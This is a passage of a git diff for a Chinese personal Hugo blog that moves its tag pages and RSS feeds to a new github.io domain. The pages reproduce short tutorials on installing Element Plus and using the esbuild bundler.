content="https://chenjunlinabc.github.io/tags/element/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Element"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Element</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus –save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
-import 'element-plus/dist/index.css'
-按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
-import Components from 'unplugin-vue-components/vite'
-...
-plugins: [
-AutoImport({
-resolvers: [ElementPlusResolver()],
-}),
-Components({
-resolvers: [ElementPlusResolver()],
-}),
-],
-这个组件库还支持module导入的方式手动按需使用，例如：
-&lt;template>
-&lt;el-button>I am ElButton&lt;/el-button>
-&lt;/template>
-&lt;script>
-import { ElButton } from 'element-plus'
-export default {
-components: { ElButton },
-}
-&lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://xiaochenabc123.github.io/posts/157/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&lt;template> &lt;el-button>I am ElButton&lt;/el-button> &lt;/template> &lt;script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } &lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://chenjunlinabc.github.io/posts/157/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/element/index.xml b/tags/element/index.xml
index 4c1b5b5e..37ce1602 100644
--- a/tags/element/index.xml
+++ b/tags/element/index.xml
@@ -2,35 +2,35 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Element on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/element/</link>
+    <link>https://chenjunlinabc.github.io/tags/element/</link>
     <description>Recent content in Element on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 03 Nov 2022 17:40:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/element/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 03 Nov 2022 17:40:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/element/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Element Plus组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/157/</link>
+      <link>https://chenjunlinabc.github.io/posts/157/</link>
       <pubDate>Thu, 03 Nov 2022 17:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/157/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/157/</guid>
       <description>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &amp;ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from &#39;element-plus&#39;
import &#39;element-plus/dist/index.css&#39;
按需导入
+import ElementPlus from &#39;element-plus&#39; import &#39;element-plus/dist/index.css&#39; 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from &#39;unplugin-auto-import/vite&#39;
import Components from &#39;unplugin-vue-components/vite&#39;
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-&amp;lt;template&amp;gt;
&amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt;
&amp;lt;/template&amp;gt;
&amp;lt;script&amp;gt;
import { ElButton } from &#39;element-plus&#39;
export default {
components: { ElButton },
}
&amp;lt;/script&amp;gt;
</description>
+import AutoImport from &#39;unplugin-auto-import/vite&#39; import Components from &#39;unplugin-vue-components/vite&#39; ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&amp;lt;template&amp;gt; &amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ElButton } from &#39;element-plus&#39; export default { components: { ElButton }, } &amp;lt;/script&amp;gt; </description>
     </item>
     
   </channel>
diff --git a/tags/element/page/1/index.html b/tags/element/page/1/index.html
index 18ab81df..100e25de 100644
--- a/tags/element/page/1/index.html
+++ b/tags/element/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/element/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/element/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/element/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/element/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/element/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/element/"></head></html>
\ No newline at end of file
diff --git a/tags/esbuild/index.html b/tags/esbuild/index.html
index 16d5b56f..fb4c972d 100644
--- a/tags/esbuild/index.html
+++ b/tags/esbuild/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>esbuild | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/esbuild/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/esbuild/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="esbuild"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/esbuild/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="esbuild"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>esbuild</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>esbuild | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/esbuild/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/esbuild/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="esbuild"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/esbuild/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="esbuild"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>esbuild</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -15,24 +15,9 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () => {
-return (
-&lt;div>
-&lt;h1>Hallo, Esbuild!&lt;/h1>
-&lt;/div>
-)
-}
-ReactDOM.render(
-&lt;App />,
-document.getElementById("app")
-)
-index.html
-&lt;div id="app">&lt;/div>
-&lt;script src="./build/index.js">&lt;/script>
-我本地打包只花64ms就打包好了
-使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( &lt;div> &lt;h1>Hallo, Esbuild!&lt;/h1> &lt;/div> ) } ReactDOM.render( &lt;App />, document.getElementById("app") ) index.html
+&lt;div id="app">&lt;/div> &lt;script src="./build/index.js">&lt;/script> 我本地打包只花64ms就打包好了
+使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://chenjunlinabc.github.io/posts/132/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/esbuild/index.xml b/tags/esbuild/index.xml
index 58515f4a..9099ba10 100644
--- a/tags/esbuild/index.xml
+++ b/tags/esbuild/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>esbuild on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/esbuild/</link>
+    <link>https://chenjunlinabc.github.io/tags/esbuild/</link>
     <description>Recent content in esbuild on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 07 Feb 2022 13:37:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/esbuild/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 07 Feb 2022 13:37:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/esbuild/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用ESbuild打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/132/</link>
+      <link>https://chenjunlinabc.github.io/posts/132/</link>
       <pubDate>Mon, 07 Feb 2022 13:37:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/132/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/132/</guid>
       <description>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
@@ -35,8 +35,8 @@ npm run build
 或者
 yarn build
 例子（app.jsx）
-import React from &#39;react&#39;
import ReactDOM from &#39;react-dom&#39;
const App = () =&amp;gt; {
return (
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;
)
}
ReactDOM.render(
&amp;lt;App /&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
)
index.html
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
我本地打包只花64ms就打包好了
+import React from &#39;react&#39; import ReactDOM from &#39;react-dom&#39; const App = () =&amp;gt; { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; ) } ReactDOM.render( &amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ) index.html
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; 我本地打包只花64ms就打包好了
 使用source map功能</description>
     </item>
     
diff --git a/tags/esbuild/page/1/index.html b/tags/esbuild/page/1/index.html
index 5261861d..1c6f4f80 100644
--- a/tags/esbuild/page/1/index.html
+++ b/tags/esbuild/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/esbuild/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/esbuild/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/esbuild/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/esbuild/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/esbuild/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/esbuild/"></head></html>
\ No newline at end of file
diff --git a/tags/eslint/index.html b/tags/eslint/index.html
